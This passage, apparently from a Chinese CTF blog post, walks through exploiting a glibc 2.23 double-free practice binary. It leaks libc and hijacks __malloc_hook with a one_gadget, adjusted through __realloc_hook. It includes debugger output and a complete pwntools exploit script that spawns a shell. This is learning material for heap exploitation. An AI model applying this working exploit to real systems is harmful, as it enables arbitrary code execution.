corruption (fast)&quot;</span>;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>使用工具查找 <code>libc</code> 中的 one_gadget</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">➜  free one_gadget libc-2.23.so</span><br><span class="line">0x45226 execve(&quot;/bin/sh&quot;, rsp+0x30, environ)</span><br><span class="line">constraints:</span><br><span class="line">  rax == NULL</span><br><span class="line"></span><br><span class="line">0x4527a execve(&quot;/bin/sh&quot;, rsp+0x30, environ)</span><br><span class="line">constraints:</span><br><span class="line">  [rsp+0x30] == NULL</span><br><span class="line"></span><br><span class="line">0xf0364 execve(&quot;/bin/sh&quot;, rsp+0x50, environ)</span><br><span class="line">constraints:</span><br><span class="line">  [rsp+0x50] == NULL</span><br><span class="line"></span><br><span class="line">0xf1207 execve(&quot;/bin/sh&quot;, rsp+0x70, environ)</span><br><span class="line">constraints:</span><br><span class="line">  [rsp+0x70] == NULL</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>所以利用方法为</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment"># leak libc base</span></span><br><span class="line">alloc(<span class="number">0x100</span>, <span class="string">b&#x27;1&#x27;</span> * <span class="number">0x100</span>)</span><br><span class="line">alloc(<span class="number">1</span>, <span class="string">b&#x27;1&#x27;</span>)<span class="comment"># 防止 unsorted 的那个chunk 和 top chunk 紧邻</span></span><br><span class="line">delete(<span class="number">0</span>)</span><br><span class="line">show(<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line">r = sh.recvline(keepends=<span class="literal">False</span>).ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>)</span><br><span class="line">libc_addr = u64(r) - <span class="number">3951480</span></span><br><span class="line"><span class="comment"># print(hex(libc_addr))</span></span><br><span class="line"></span><br><span class="line">__malloc_hook = libc.symbols[<span class="string">&#x27;__malloc_hook&#x27;</span>] + libc_addr</span><br><span class="line">ogg = <span class="number">0x4527a</span> + libc_addr</span><br><span class="line"></span><br><span class="line">evil_chunk = __malloc_hook - <span class="number">0x23</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># double free</span></span><br><span class="line">alloc(<span class="number">0x60</span>, <span class="string">b&#x27;1&#x27;</span>)<span class="comment"># 2</span></span><br><span class="line">alloc(<span class="number">0x60</span>, <span class="string">b&#x27;1&#x27;</span>)<span class="comment"># 3</span></span><br><span class="line"></span><br><span class="line">delete(<span class="number">2</span>)</span><br><span class="line">delete(<span class="number">3</span>)</span><br><span class="line">delete(<span class="number">2</span>)</span><br><span class="line"></span><br><span class="line">alloc(<span class="number">0x60</span>, p64(evil_chunk))<span class="comment"># 4</span></span><br><span class="line">alloc(<span class="number">0x60</span>, <span class="string">b&#x27;1&#x27;</span>)<span class="comment"># 5</span></span><br><span class="line">alloc(<span class="number">0x60</span>, p64(evil_chunk))<span class="comment"># 6</span></span><br><span class="line">alloc(<span class="number">0x60</span>, <span class="string">b&#x27;a&#x27;</span> * <span class="number">0x10</span> + <span class="string">b&#x27;a&#x27;</span> * <span class="number">0x3</span> + p64(ogg))<span class="comment"># 6</span></span><br></pre></td></tr></table></figure><p>此时，<code>__malloc_hook</code>指向 <code>one_gadget</code>，如果顺利的话，下次 <code>malloc</code> 就会触发 <code>one_gadget</code> 进而实现 <code>get_shell</code>。但是事与愿违，试了所有的 <code>one_gadget</code> 发现都不符合条件，害。</p><p>本部分主要参考：</p><p><a href="https://xz.aliyun.com/t/6342">1. pwn学习系列之double free</a></p><p><a href="https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack/">2. Unsorted Bin Attack - CTF Wiki</a></p><p><a href="https://xz.aliyun.com/t/2720">3. glibc里的one gadget</a></p><p><a href="https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack/#fastbin-double-free">4. Fastbin Attack - CTF Wiki</a></p><h2 id="利用-realloc-调整栈使one-gadget生效"><a href="#利用-realloc-调整栈使one-gadget生效" class="headerlink" title="利用 realloc 调整栈使one_gadget生效"></a><strong>利用 realloc 调整栈使one_gadget生效</strong></h2><p>一番搜索无果后，继续选择问 Lotus ✌，</p><blockquote><p>废物小高：找到的one_gadget 都不行，这种情况咋搞</p><p>废物小高：[不知所措.gif]</p><p>Lotus ✌ : 用 realloc_hook 调一下，<a href="https://blog.csdn.net/Invin_cible/article/details/123042819?spm=1001.2014.3001.5501">https://blog.csdn.net/Invin_cible&#x2F;article&#x2F;details&#x2F;123042819?spm&#x3D;1001.2014.3001.5501</a></p></blockquote><p>文章看了一下，个人理解就是把 <code>__malloc_hook</code> 的值设置为 <code>realloc + ofsset</code> ，然后 <code>malloc</code> 的时候就会触发 <code>realloc</code>，并利用 <code>offset</code> 对 <code>rsp</code> 的值进行调整，再把 <code>__realloc_hook</code>的值设置为 <code>one_gadget</code> ，这样在 <code>realloc</code> 触发后就会继续触发 <code>one_gadget</code>。通过前面的查看可以得知，<code>__realloc_hook</code> 就在 <code>__malloc_hook</code> 前面紧挨着。看 一下 <code>realloc</code> 函数的内容，发现和 Lotus ✌ 博客里的一样</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">pwndbg&gt; x/20i 140391966390032</span><br><span class="line">   0x7faf8d493710 &lt;__GI___libc_realloc&gt;:        push   r15</span><br><span class="line">   0x7faf8d493712 &lt;__GI___libc_realloc+2&gt;:      push   r14</span><br><span class="line">   0x7faf8d493714 &lt;__GI___libc_realloc+4&gt;:      push   r13</span><br><span class="line">   0x7faf8d493716 &lt;__GI___libc_realloc+6&gt;:      push   r12</span><br><span class="line">   0x7faf8d493718 &lt;__GI___libc_realloc+8&gt;:      mov    r12,rsi</span><br><span class="line">   0x7faf8d49371b &lt;__GI___libc_realloc+11&gt;:     push   rbp</span><br><span class="line">   0x7faf8d49371c &lt;__GI___libc_realloc+12&gt;:     push   rbx</span><br><span class="line">   0x7faf8d49371d &lt;__GI___libc_realloc+13&gt;:     mov    rbx,rdi</span><br><span class="line">   0x7faf8d493720 &lt;__GI___libc_realloc+16&gt;:     sub    rsp,0x38</span><br><span class="line">   0x7faf8d493724 &lt;__GI___libc_realloc+20&gt;:     mov    rax,QWORD PTR [rip+0x33f8a5]# 0x7faf8d7d2fd0</span><br><span class="line">   0x7faf8d49372b &lt;__GI___libc_realloc+27&gt;:     mov    rax,QWORD PTR [rax]</span><br><span class="line">   0x7faf8d49372e &lt;__GI___libc_realloc+30&gt;:     test   rax,rax</span><br><span class="line">   0x7faf8d493731 &lt;__GI___libc_realloc+33&gt;:     jne    0x7faf8d493958 &lt;__GI___libc_realloc+584&gt;</span><br><span class="line">   0x7faf8d493737 &lt;__GI___libc_realloc+39&gt;:     test   rsi,rsi</span><br><span class="line">   0x7faf8d49373a &lt;__GI___libc_realloc+42&gt;:     sete   dl</span><br><span class="line">   0x7faf8d49373d &lt;__GI___libc_realloc+45&gt;:     test   rdi,rdi</span><br><span class="line">   0x7faf8d493740 &lt;__GI___libc_realloc+48&gt;:     setne  al</span><br><span class="line">   0x7faf8d493743 &lt;__GI___libc_realloc+51&gt;:     and    al,dl</span><br><span class="line">   0x7faf8d493745 &lt;__GI___libc_realloc+53&gt;:     jne    0x7faf8d493a70 &lt;__GI___libc_realloc+864&gt;</span><br><span class="line">   0x7faf8d49374b &lt;__GI___libc_realloc+59&gt;:     test   rdi,rdi</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>那就一个个试一下，看看栈，发现当 offset 为 <code>0xc</code> 的时候，此时 <code>[rsp + 30] == null</code> 存在满足条件的 <code>one_gadget</code></p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">pwndbg&gt; x/10gx $rsp</span><br><span class="line">0x7fff9c8fa700: 0x00007faf8d49395f      0x00007faf8d48982b</span><br><span class="line">0x7fff9c8fa710: 0x0000000000000004      0x00007faf8d7d4620</span><br><span class="line">0x7fff9c8fa720: 0x000055c3e9e00da7      0x00007faf8d47e80a</span><br><span class="line">0x7fff9c8fa730: 0x0000000000000000      0x0000000000000000</span><br><span class="line">0x7fff9c8fa740: 0x0000000000000000      0x000055c3e9e00a6d</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>所以，完整脚本如下：</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line"><span class="comment"># context.log_level = logging.DEBUG</span></span><br><span class="line"></span><br><span class="line">sh = process(<span class="string">&#x27;./double_free&#x27;</span>)</span><br><span class="line"></span><br><span class="line">libc = ELF(<span class="string">&#x27;./libc-2.23.so&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">alloc</span>(<span class="params">size, content</span>):</span><br><span class="line">    sh.recvuntil(<span class="string">b&#x27;choice\n&#x27;</span>)</span><br><span class="line">    sh.sendline(<span class="string">b&#x27;1&#x27;</span>)</span><br><span class="line">    sh.recvuntil(<span class="string">b&#x27;size\n&#x27;</span>)</span><br><span class="line">    sh.sendline(<span class="string">f&#x27;<span class="subst">&#123;size&#125;</span>&#x27;</span>.encode(<span class="string">&#x27;utf-8&#x27;</span>))</span><br><span class="line">    sh.recvuntil(<span class="string">b&#x27;content\n&#x27;</span>)</span><br><span class="line">    sh.sendline(content)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">delete</span>(<span class="params"><span class="built_in">id</span></span>):</span><br><span class="line">    sh.recvuntil(<span class="string">b&#x27;choice\n&#x27;</span>)</span><br><span class="line">    sh.sendline(<span class="string">b&#x27;2&#x27;</span>)</span><br><span class="line">    sh.recvuntil(<span class="string">b&#x27;idx\n&#x27;</span>)</span><br><span class="line">    sh.sendline(<span class="string">f&#x27;<span class="subst">&#123;<span class="built_in">id</span>&#125;</span>&#x27;</span>.encode(<span class="string">&#x27;utf-8&#x27;</span>))</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">show</span>(<span class="params"><span class="built_in">id</span></span>):</span><br><span class="line">    sh.recvuntil(<span class="string">b&#x27;choice\n&#x27;</span>)</span><br><span class="line">    sh.sendline(<span class="string">b&#x27;3&#x27;</span>)</span><br><span class="line">    sh.recvuntil(<span class="string">b&#x27;idx\n&#x27;</span>)</span><br><span class="line">    sh.sendline(<span class="string">f&#x27;<span class="subst">&#123;<span class="built_in">id</span>&#125;</span>&#x27;</span>.encode(<span class="string">&#x27;utf-8&#x27;</span>))</span><br><span class="line"></span><br><span class="line"><span class="comment"># leak libc base</span></span><br><span class="line">alloc(<span class="number">0x100</span>, <span class="string">b&#x27;1&#x27;</span> * <span class="number">0x100</span>)</span><br><span class="line">alloc(<span class="number">1</span>, <span class="string">b&#x27;1&#x27;</span>)<span class="comment"># 防止 unsorted 的那个chunk 和 top chunk 紧邻</span></span><br><span class="line">delete(<span class="number">0</span>)</span><br><span class="line">show(<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line">r = sh.recvline(keepends=<span class="literal">False</span>).ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>)</span><br><span class="line">libc_addr = u64(r) - <span class="number">3951480</span></span><br><span class="line"><span class="comment"># print(hex(libc_addr))</span></span><br><span class="line"></span><br><span class="line">__malloc_hook = libc.symbols[<span class="string">&#x27;__malloc_hook&#x27;</span>] + libc_addr</span><br><span class="line">realloc = libc.symbols[<span class="string">&#x27;realloc&#x27;</span>] + libc_addr</span><br><span class="line">ogg = <span class="number">0x4527a</span> + libc_addr</span><br><span class="line">evil_chunk = __malloc_hook - <span class="number">0x23</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># double free</span></span><br><span class="line">alloc(<span class="number">0x60</span>, <span class="string">b&#x27;1&#x27;</span>)<span class="comment"># 2</span></span><br><span class="line">alloc(<span class="number">0x60</span>, <span class="string">b&#x27;1&#x27;</span>)<span class="comment"># 3</span></span><br><span class="line"></span><br><span class="line">delete(<span class="number">2</span>)</span><br><span class="line">delete(<span class="number">3</span>)</span><br><span class="line">delete(<span class="number">2</span>)</span><br><span class="line"></span><br><span class="line">alloc(<span class="number">0x60</span>, p64(evil_chunk))<span class="comment"># 4</span></span><br><span class="line">alloc(<span class="number">0x60</span>, <span class="string">b&#x27;1&#x27;</span>)<span class="comment"># 5</span></span><br><span class="line">alloc(<span class="number">0x60</span>, p64(evil_chunk))<span class="comment"># 6</span></span><br><span class="line">alloc(<span class="number">0x60</span>, <span class="string">b&#x27;a&#x27;</span> * <span class="number">0x8</span> + <span class="string">b&#x27;a&#x27;</span> * <span class="number">0x3</span> + p64(ogg) + p64(realloc + <span class="number">0xc</span>))<span class="comment"># 6# gdb.attach(sh, f&#x27;b *&#123;hex(ogg)&#125;&#x27;)# pause()</span></span><br><span class="line">sh.recvuntil(<span class="string">b&#x27;choice\n&#x27;</span>)</span><br><span class="line">sh.sendline(<span class="string">b&#x27;1&#x27;</span>)</span><br><span class="line">sh.recvuntil(<span class="string">b&#x27;size\n&#x27;</span>)</span><br><span class="line">sh.sendline(<span class="string">f&#x27;<span class="subst">&#123;<span class="number">0x60</span>&#125;</span>&#x27;</span>.encode(<span class="string">&#x27;utf-8&#x27;</span>))</span><br><span class="line">sh.interactive()</span><br></pre></td></tr></table></figure>]]>
      </content:encoded>
    </item>
  </channel>
</rss>
